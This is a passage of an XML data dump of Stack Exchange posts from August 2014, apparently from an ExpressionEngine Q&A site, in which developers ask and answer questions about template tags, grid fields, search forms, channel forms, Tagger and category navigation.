  <row Id="24861" PostTypeId="1" AcceptedAnswerId="25710" CreationDate="2014-08-04T08:38:14.157" Score="0" ViewCount="49" Body="&lt;p&gt;Is there a way to code links in notification mails (to a potential logged out user) in such a way that the user goes directly to the message page, without the login procedure?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(In my case, Solspace Friends module generates a notification link to a page only visible for logged in members.)&lt;/p&gt;&#xA;" OwnerUserId="1615" LastEditorUserId="1615" LastEditDate="2014-08-04T12:13:48.203" LastActivityDate="2014-09-17T07:22:20.000" Title="How to code in notification mail a link to page with automatic login" Tags="|email|login|solspace-friends|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24862" PostTypeId="1" AcceptedAnswerId="25015" CreationDate="2014-08-04T10:32:21.547" Score="2" ViewCount="264" Body="&lt;p&gt;I am using grid type field for express engine channel and i want to show result based to row_id and it was working when i have entered row_ids but it is not working when row_id  are not there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;for eg. I have created a channel named as 'XYZ'  and having following channel fields there :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1) user_type : text &#xA;&#xA;2) profile : grid&#xA;&#xA;       a) first_name : text &#xA;&#xA;       b) last_name :  text&#xA;&#xA;       c) user_name : text &#xA;&#xA;       d) age : text&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now i want to show user listing for a entry and  i am getting row_id for grid from custom query in code. &#xA;i have used following code :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.............&#xA;&#xA;//here we are getting row_ids from custom query as&#xA;&#xA;// if condition here&#xA;&amp;lt;?php  $rowsId=&quot;10|11|12&quot;; ?&amp;gt;&#xA;&#xA;// else condition  (set $rowsId value as -1  in case when we are not getting row_id from custom query)&#xA;&#xA;&amp;lt;?php $rowsId = &quot;-1&quot; ; ?&amp;gt; &#xA;&#xA;..............&#xA;&#xA;{exp:channel:entries channel=&quot;xyz&quot; entry_id=1}&#xA;    {profile row_id=&quot;&amp;lt;?php echo $rowsId; ?&amp;gt;&quot;}&#xA;        {profile:first_name}&amp;lt;br/&amp;gt;&#xA;        {profile:last_name}&amp;lt;br/&amp;gt;&#xA;        {profile:user_name}&amp;lt;br/&amp;gt;&#xA;        {profile:age}&amp;lt;hr&amp;gt;&#xA;    {/profile}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the code  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{profile row_id=&quot;&amp;lt;?php echo $rowsId; ?&amp;gt;&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it is working in case of   &lt;code&gt;&amp;lt;?php  $rowsId=&quot;10|11|12&quot;; ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but it is not working in case of  &lt;code&gt;&amp;lt;?php $rowsId = &quot;-1&quot;; ?&amp;gt;&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should not give us  result set in that case (should be empty) but It shows one row in result set and i have also tried '$rowsId' value as 0 instead of -1 but it is also not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me what is missing/wrong here or give me a solution for the same.&lt;/p&gt;&#xA;" OwnerUserId="3376" LastActivityDate="2014-08-11T12:24:39.343" Title="Grid field type with 'row_id' variables is not working properly in channel tag" Tags="|channel-entries|channel|grid|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24864" PostTypeId="1" CreationDate="2014-08-04T11:31:25.490" Score="1" ViewCount="136" Body="&lt;p&gt;I want to display multiple lists of entries on the same page, but with entries that have the same custom filed grouped together. I'm not able to use categories to do this and wondered if it would be possible to use Stash to achieve the desired results. This is along the lines of what I'm trying to achieve: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel='tour' disable=&quot;category_fields|member_data&quot; show_future_entries=&quot;yes&quot; orderby=&quot;tour_date_start&quot; sort=&quot;asc&quot; search:tour_type=&quot;tour&quot;}&#xA;                    &amp;lt;div class=&quot;unit3&quot;&amp;gt;&#xA;                        &amp;lt;a href=&quot;{url_title_path='tours/'}&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;unit1 unitpadding grey overview&quot;&amp;gt;&#xA;                            &amp;lt;h3&amp;gt;{tour_name}&amp;lt;/h3&amp;gt;&amp;lt;/a&amp;gt;&#xA;                            &amp;lt;ul&amp;gt;&#xA;                                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{site_url}tours/{url_title}&quot;&amp;gt;{tour_date_start format=&quot;%j %F&quot;} &amp;amp;ndash; {tour_date_end format=&quot;%j %F %Y&quot;}&amp;lt;/a&amp;gt;&#xA;                                &amp;lt;/li&amp;gt;&#xA;                                &amp;lt;!--alternative tour dates to be outputted here if entries have the same {tour_code_short}-&amp;gt;                                    &#xA;                                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{site_url}tours/{url_title}&quot;&amp;gt;{tour_date_start format=&quot;%j %F&quot;} &amp;amp;ndash; {tour_date_end format=&quot;%j %F %Y&quot;}&amp;lt;/a&amp;gt;{/alternative_tour_dates}&#xA;                                &amp;lt;/li&amp;gt;&#xA;                                &amp;lt;!-- end alternative tour dates --&amp;gt;&#xA;                            &amp;lt;/ul&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I feel like this might work with stash, but am not sure the best way to approach it? Could anyone offer any advice or guidance? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1149" LastActivityDate="2015-03-11T09:34:10.033" Title="Group entries which have the same custom field using Stash?" Tags="|stash|custom-fields|related-entries|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24866" PostTypeId="2" ParentId="24857" CreationDate="2014-08-04T13:06:41.483" Score="0" Body="&lt;p&gt;I cleared my cache and this worked fine.&lt;/p&gt;&#xA;" OwnerUserId="1128" LastActivityDate="2014-08-04T13:06:41.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24868" PostTypeId="2" ParentId="24852" CreationDate="2014-08-04T14:20:54.940" Score="1" Body="&lt;p&gt;In general using categories for navigation on &quot;static&quot; sections can be frustrating. They weren't really designed with that in mind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case I'd try using a conditional inside the loop to look for the staff entry and then build a different link:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories category_group=&quot;1&quot; style=&quot;linear&quot; show_empty=&quot;no&quot;}&#xA;        &amp;lt;li&amp;gt;&#xA;            {if category_url_title != &quot;staff&quot;}&#xA;                &amp;lt;a href=&quot;{path='about/index'}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&#xA;            {/if}&#xA;&#xA;            {if category_url_title==&quot;staff&quot;}&#xA;                &amp;lt;a href=&quot;{site_url}about/staff'}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&#xA;            {/if}&#xA;&#xA;        &amp;lt;/li&amp;gt;&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The reason for not using the path linking variable in the second case is that because it's within a category loop EE will create a category link (&lt;a href=&quot;http://yoursite.com/about/staff/category/category_url_title&quot; rel=&quot;nofollow&quot;&gt;http://yoursite.com/about/staff/category/category_url_title&lt;/a&gt;) which in this case you don't want.&lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2014-08-04T14:20:54.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24870" PostTypeId="1" AcceptedAnswerId="24893" CreationDate="2014-08-04T16:32:41.687" Score="0" ViewCount="92" Body="&lt;p&gt;I am querying whether this is a good idea, and if so best way to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a channel (club_listing) that contains 40+ fields.&#xA;There are 250+ club_listing entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my clients current/old site, they have a Club Listing page which lists each of the club names. When you click on name a popup window appears with all the relevant details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I would prefer not to have a popup or new page displaying each clubs info.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i wanted to do was have hidden divs on the page that contains all the data for each entry. When the user click the club name, the relevant hidden div appears displaying all the info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now i already have a nice script that is doing this for the FAQS (click question, answer displays below it). I wanted to use this same script, but on test the page takes ages to load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My initial template embeds the template with the club listing. This club listing template (uses parents tag so opens channel tag for the parent (zone) not club_listing) embeds the data for each club (snippets don't work).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&#xA;Is it NOT a good idea to have a single page load the data of so many entries (eg, 40 fields x 250 entries = 10000), or is there some way that it can all load quickly and is acceptable to do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&#xA;Any response is much appreciated!&lt;/p&gt;&#xA;" OwnerUserId="2794" LastEditorUserId="2794" LastEditDate="2014-08-04T16:55:15.137" LastActivityDate="2014-08-05T11:44:12.650" Title="Loading of data (40+ fields) for multiple (250+) entries on single page" Tags="|entries|embeds|loading-time|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24871" PostTypeId="1" AcceptedAnswerId="25162" CreationDate="2014-08-04T17:37:52.370" Score="1" ViewCount="254" Body="&lt;p&gt;I'm not sure what is happening. I have used the Simple Search successfully before but am not having any luck with it and EE 2.8.1. Hopefully someone can assist me with this as I'm sure I'm missing something simple :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Snippet containing the simple search tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:simple_form channel=&quot;blog&quot; result_page=&quot;blog/search&quot; search_in=&quot;everywhere&quot; status=&quot;open&quot; where=&quot;all&quot; show_expired=&quot;yes&quot; show_future_entries=&quot;yes&quot;}&#xA;&amp;lt;input type=&quot;text&quot; id=&quot;keywords&quot; name=&quot;keywords&quot; placeholder=&quot;Enter your search&quot; class=&quot;pull-left&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; id=&quot;submit&quot;&amp;gt;&#xA;{/exp:search:simple_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's my &lt;code&gt;/blog/search&lt;/code&gt; template which was taken directly from the documentation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;table border=&quot;0&quot; cellpadding=&quot;6&quot; cellspacing=&quot;1&quot; width=&quot;100%&quot;&amp;gt;&#xA;    &amp;lt;tr&amp;gt;&#xA;        &amp;lt;th&amp;gt;{lang:title}&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th&amp;gt;{lang:excerpt}&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th&amp;gt;{lang:author}&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th&amp;gt;{lang:date}&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th&amp;gt;{lang:total_comments}&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th&amp;gt;{lang:recent_comments}&amp;lt;/th&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;&#xA;{exp:search:search_results switch=&quot;resultRowOne|resultRowTwo&quot;}&#xA;&#xA;    &amp;lt;tr class=&quot;{switch}&quot;&amp;gt;&#xA;        &amp;lt;td width=&quot;30%&quot; valign=&quot;top&quot;&amp;gt;&amp;lt;b&amp;gt;&amp;lt;a href=&quot;{auto_path}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td width=&quot;30%&quot; valign=&quot;top&quot;&amp;gt;{excerpt}&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td width=&quot;10%&quot; valign=&quot;top&quot;&amp;gt;&amp;lt;a href=&quot;{member_path='member/index'}&quot;&amp;gt;{author}&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td width=&quot;10%&quot; valign=&quot;top&quot;&amp;gt;{entry_date format=&quot;%m/%d/%y&quot;}&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td width=&quot;10%&quot; valign=&quot;top&quot;&amp;gt;{comment_total}&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td width=&quot;10%&quot; valign=&quot;top&quot;&amp;gt;{recent_comment_date format=&quot;%m/%d/%y&quot;}&amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;&#xA;    {if count == total_results}&#xA;        &amp;lt;/table&amp;gt;&#xA;    {/if}&#xA;&#xA;    {paginate}&#xA;        &amp;lt;p&amp;gt;Page {current_page} of {total_pages} pages {pagination_links}&amp;lt;/p&amp;gt;&#xA;    {/paginate}&#xA;&#xA;{/exp:search:search_results}&#xA;&#xA;&amp;lt;/table&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm attempting to search within a GRID field and have my Field Marked as Searchable as well as the column I want to search in. I have several Blog Entries setup with various content. Most of them have the word &quot;Testing&quot; in them yet when I search for that word I get no results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What else could I be missing?&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;#&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;What's also weird is that sometimes the &quot;Error&quot; page (which pulls in the User Message Template) has the Heading missing at times like so. I doubt it's related but still strange!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XOIlz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11" LastEditorUserId="11" LastEditDate="2014-08-11T15:08:38.823" LastActivityDate="2014-09-23T20:52:32.883" Title="Search: Simple Form" Tags="|simple-search|" AnswerCount="3" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="24872" PostTypeId="1" AcceptedAnswerId="24935" CreationDate="2014-08-04T19:14:29.460" Score="0" ViewCount="63" Body="&lt;p&gt;I am using Low Nice Date to work out the range between the start date and end date of a Low Event.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am testing to see if if the start date and end date are the same, if they are the same I want the date format output in a certain way or differently if it is not the same date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not using the 'All Day' option in Low events because these are not all day events.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue I have is it works fine for upcoming events, where the date are in the future, but it doesn't work with past events where the date are in the past.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code I am using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_nice_date:range from=&quot;{event_date:start_date}&quot; to=&quot;{event_date:end_date}&quot;}&#xA;    {if days == 0}&#xA;        {event_date:start_date format=&quot;%j %F %Y - %H:%i&quot;}&#xA;    {if:else}&#xA;        {event_date:start_date format=&quot;%j %F&quot;} - {event_date:end_date format=&quot;%j %F %Y&quot;}&#xA;    {/if}&#xA;{/exp:low_nice_date:range}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A past example event dates: 22 June 2012 - 21 July 2012&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reason this returns true for &lt;code&gt;days == 0&lt;/code&gt;, although this is not true.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help on how I can get this working for past entries would be great.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-08-06T09:29:57.607" Title="Work out range with Low Nice Date for past Low Events" Tags="|low|low-nice-date|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24873" PostTypeId="1" AcceptedAnswerId="24886" CreationDate="2014-08-04T19:27:02.297" Score="0" ViewCount="434" Body="&lt;p&gt;I am using EE 2.9 and trying to put together a channel form. However, while it worked initially, now all it gives me each time I test it is the &quot;This form has expired&quot; error. This is the form setup:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form channel=&quot;channel9&quot; return=&quot;Links&quot; class=&quot;Submit&quot; id=&quot;Submit&quot;}&#xA;&amp;lt;label for=&quot;title&quot;&amp;gt;Title&amp;lt;/label&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;title&quot; id=&quot;title&quot; value=&quot;{title}&quot; size=&quot;50&quot; maxlength=&quot;100&quot; onkeyup=&quot;liveUrlTitle();&quot; /&amp;gt;&#xA;{custom_fields}&#xA;&amp;lt;label for=&quot;{field_name}&quot;&amp;gt;{field_label}&amp;lt;/label&amp;gt;&#xA;{if textarea}&#xA;&amp;lt;textarea id=&quot;{field_name}&quot; name=&quot;{field_name}&quot; dir=&quot;{text_direction}&quot; cols=&quot;50&quot; rows=&quot;{rows}&quot; onclick=&quot;setFieldName(this.name)&quot;&amp;gt;{field_data}&amp;lt;/textarea&amp;gt;&#xA;{/if}&#xA;{if textinput}&#xA;&amp;lt;input type=&quot;text&quot; dir=&quot;{text_direction}&quot; id=&quot;{field_name}&quot; name=&quot;{field_name}&quot; value=&quot;{field_data}&quot; maxlength=&quot;{maxlength}&quot; size=&quot;50&quot; onclick=&quot;setFieldName(this.name)&quot; /&amp;gt;&#xA;{/if}&#xA;{/custom_fields}&#xA;{category_menu}&#xA;&amp;lt;label for=&quot;categories&quot;&amp;gt;Categories&amp;lt;/label&amp;gt;&#xA;&amp;lt;select name=&quot;category[]&quot; id=&quot;categories&quot; size=&quot;4&quot;&amp;gt;&#xA;{select_options}&#xA;&amp;lt;/select&amp;gt;&#xA;{/category_menu}&#xA;{if captcha}&#xA;&amp;lt;br /&amp;gt;&#xA;&amp;lt;label for=&quot;captcha&quot;&amp;gt;Please enter the word you see in the image below:&amp;lt;/label&amp;gt;&#xA;&amp;lt;br /&amp;gt;&#xA;{captcha}&#xA;&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;captcha&quot; value=&quot;{captcha_word}&quot; maxlength=&quot;20&quot;&amp;gt;&#xA;{/if}&#xA;&amp;lt;br /&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot; /&amp;gt;&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I saw a suggestion about adding &lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;{XID_HASH}&quot; /&amp;gt;&lt;/code&gt; but this made no difference.&lt;/p&gt;&#xA;" OwnerUserId="352" LastActivityDate="2014-08-05T10:49:28.970" Title="Issue when forms - &quot;This form has expired&quot; error" Tags="|safecracker|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24874" PostTypeId="1" AcceptedAnswerId="24877" CreationDate="2014-08-04T19:45:59.673" Score="0" ViewCount="48" Body="&lt;p&gt;I'm pulling tagged entries via segment_3. When I'm showing this page, I'd like to have it titled &quot;SEARCH FOR: {TAG}&quot;. Problem is that nowhere in the documentation can I tell where you can pull the tag name out from a segment....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tried getting complex with this but it pulled all tags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   &amp;lt;h1&amp;gt;SEARCH FOR:&#xA;    {exp:tagger:entries tag=&quot;{segment_3}&quot; limit=&quot;1&quot;}&#xA;      {exp:tagger:tags entry_id=&quot;{tagger:entry_id}&quot;}&#xA;        {tagger:tag_name}&#xA;      {/exp:tagger:tags}&#xA;    {/exp:tagger:entries}&#xA;  &amp;lt;/h1&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="273" LastActivityDate="2014-08-04T20:23:32.533" Title="Return tag name from a segment in Tagger" Tags="|devdemon-tagger|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24875" PostTypeId="1" CreationDate="2014-08-04T19:55:42.537" Score="0" ViewCount="342" Body="&lt;p&gt;I rarely do any crazy cross/channel templates. Most EE sites I've developed are based on individual channels. I did something that seems to be working for the home page, but not for the interior pages; e.g., anything past index.php/template-name/page-name&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my main template code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;inc/.header.doc-open&quot;}      &#xA;&#xA;    {embed=&quot;inc/.left-sidebar&quot;} &#xA;&#xA;    &amp;lt;div class=&quot;ctnr cf two-four grid&quot;&amp;gt;&#xA;        {exp:channel:entries channel=&quot;content&quot; limit=&quot;1&quot;}&#xA;        &amp;lt;div class=&quot;ctnr cf one-one content&quot; id=&quot;hero&quot;&amp;gt;&#xA;&#xA;            {content_body}&#xA;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- end #hero --&amp;gt;&#xA;    {/exp:channel:entries}&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- end .ctnr --&amp;gt;&#xA;&#xA;    {embed=&quot;inc/.right-sidebar&quot;}    &#xA;&#xA;    {embed=&quot;inc/.footer.doc-close&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm opening/closing channels within each include group; e.g.: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;div class=&quot;left-sidebar ctnr cf one-four grid&quot;&amp;gt;&#xA;    {exp:channel:entries channel=&quot;left&quot;}&#xA;        {left_content}&#xA;    {/exp:channel:entries}  &#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- end .ctnr --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This seems to be working perfectly on the home page... It sorta works if I just do the following url structure index.php/template-name - This pulls in the most recent entry. Once I put in the actual url title; e.g., index.php/template-name/page-title it pulls the content, but all the includes are messed up. They're getting pulled in, but the content and images aren't. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any pointers on this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2548" LastActivityDate="2015-08-16T20:14:51.917" Title="Multiple Channel Entries on Template - Works for Home Page - Not for Other Pages" Tags="|channel-entries|templates|channel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24876" PostTypeId="2" ParentId="24875" CreationDate="2014-08-04T20:20:25.950" Score="1" Body="&lt;p&gt;Have you tried adding dynamic=&quot;no&quot; as a parameter for your channel entries? Since there is no url title on the homepage the entries loops assume it will be a listing, but as soon as you add more segments to your url. The entries try and pull that title. By adding dynamic=&quot;no&quot;, you are saying that you do not care what the url title is, you just want the listing. Check out the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#dynamic&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2014-08-04T20:20:25.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24877" PostTypeId="2" ParentId="24874" CreationDate="2014-08-04T20:23:32.533" Score="0" Body="&lt;p&gt;Have you check this out in the &lt;a href=&quot;http://www.devdemon.com/documentation/tag/decode-tag/&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt;? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:tagger:tagname tag=&quot;{segment_3}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2014-08-04T20:23:32.533" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24879" PostTypeId="2" ParentId="24862" CreationDate="2014-08-04T20:33:36.777" Score="2" Body="&lt;p&gt;If you are using php in this way, you could just not show the output if it is set to -1&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;xyz&quot; entry_id=1}&#xA;  &amp;lt;?php if ($rowsId != -1) {?&amp;gt;&#xA;    {profile row_id=&quot;&amp;lt;?php echo $rowsId; ?&amp;gt;&quot;}&#xA;        {profile:first_name}&amp;lt;br/&amp;gt;&#xA;        {profile:last_name}&amp;lt;br/&amp;gt;&#xA;        {profile:user_name}&amp;lt;br/&amp;gt;&#xA;        {profile:age}&amp;lt;hr&amp;gt;&#xA;    {/profile}&#xA;   &amp;lt;?php } ?&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2014-08-04T20:33:36.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24880" PostTypeId="1" AcceptedAnswerId="24884" CreationDate="2014-08-04T20:46:53.330" Score="0" ViewCount="339" Body="&lt;p&gt;I have my category links:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories channel=&quot;pages&quot; category_group=&quot;3&quot;}&#xA;        &amp;lt;a href=&quot;{path='work/cat-landing'}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&#xA;        {if category_description}{category_description}{/if}&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm trying to display the name of the category that was clicked on &quot;cat-landing&quot; template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the following code, but that's just outputting all the categories I have selected in my entries.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{categories} {category_name}{/categories} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help is much appreciated!&lt;/p&gt;&#xA;" OwnerUserId="2889" LastActivityDate="2014-08-04T21:22:29.537" Title="Display category name on page" Tags="|channel-entries|categories|category-name|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24881" PostTypeId="1" AcceptedAnswerId="24883" CreationDate="2014-08-04T20:50:48.117" Score="0" ViewCount="90" Body="&lt;p&gt;Need some help and will try to explain as clearly as possible...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm redesigning a law site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a template group called &quot;attorneys&quot; for each lawyer profile that has tabs holding various info. Right now, I have individual templates for each profile page that's working fine, but I want to put all the same data into a channel to allow the client to make additions/changes etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moving the data into a channel, I'm using the index of the group which calls the new channel &quot;attorneys&quot; which holds all the data elements. Custom fields are used for each tabs' content with {if} statements to show or hide based on if there's content entered into the individual entries or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simple enough for a standard template/channel combo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here's where the tricky part comes in...&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;attorneys&quot; channel has a custom field called {blog_posts_tab}. It's a yes/no radio selection so each entry can have the option to show or hide the &quot;blog posts&quot; tab and its content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The {blog_posts_tab} is supposed to display the entries written by that specific attorney that's held in a separate channel &quot;news_and_articles&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you're viewing the 'Karl' attorney entry and click the 'Blog Posts' tab, it will display the title and date of the articles written by only Karl with links to those articles held in a separate channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I'm having now is that the &quot;Blog Posts&quot; tab is empty and not pulling any data, only the title and entry of the entry you're viewing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried using:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries channel=&quot;attorneys|news_and_articles&quot;} &lt;/p&gt;&#xA;&#xA;&lt;p&gt;combined with &lt;/p&gt;&#xA;&#xA;&lt;p&gt;{if blog_posts_tab == 'Yes' || channel_short_name == &quot;news_and_articles&quot;} &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the partial template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;attorneys|news_and_articles&quot;}&#xA;    &amp;amp;lt;!-- ========== BIO DETAIL ========== --&amp;amp;gt;&#xA;    &amp;lt;div data-equalizer class=&quot;row&quot;&amp;gt;&#xA;        &amp;lt;div data-equalizer-watch class=&quot;large-6 columns medium-6 large-push-6 end&quot;&amp;gt;&#xA;            &amp;lt;img src=&quot;{attorney_portrait}&quot; class=&quot;right arrow-mask-left&quot; alt=&quot;&quot;&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div data-equalizer-watch class=&quot;large-5 columns medium-6 large-offset-1 large-pull-6&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;vertical-align&quot;&amp;gt;&#xA;                {body}&#xA;                &amp;lt;h5&amp;gt;&amp;lt;a href=&quot;tel: 1-{attorney_phone_number}&quot; class=&quot;normal&quot;&amp;gt;{attorney_phone_number}&amp;lt;/a&amp;gt;&#xA;                  {if attorney_phone_extension != &quot;&quot;}, {attorney_phone_extension}{/if}&amp;lt;/h5&amp;gt;&#xA;                &amp;lt;h5&amp;gt;&amp;lt;a href=&quot;mailto:{attorney_email}&quot; 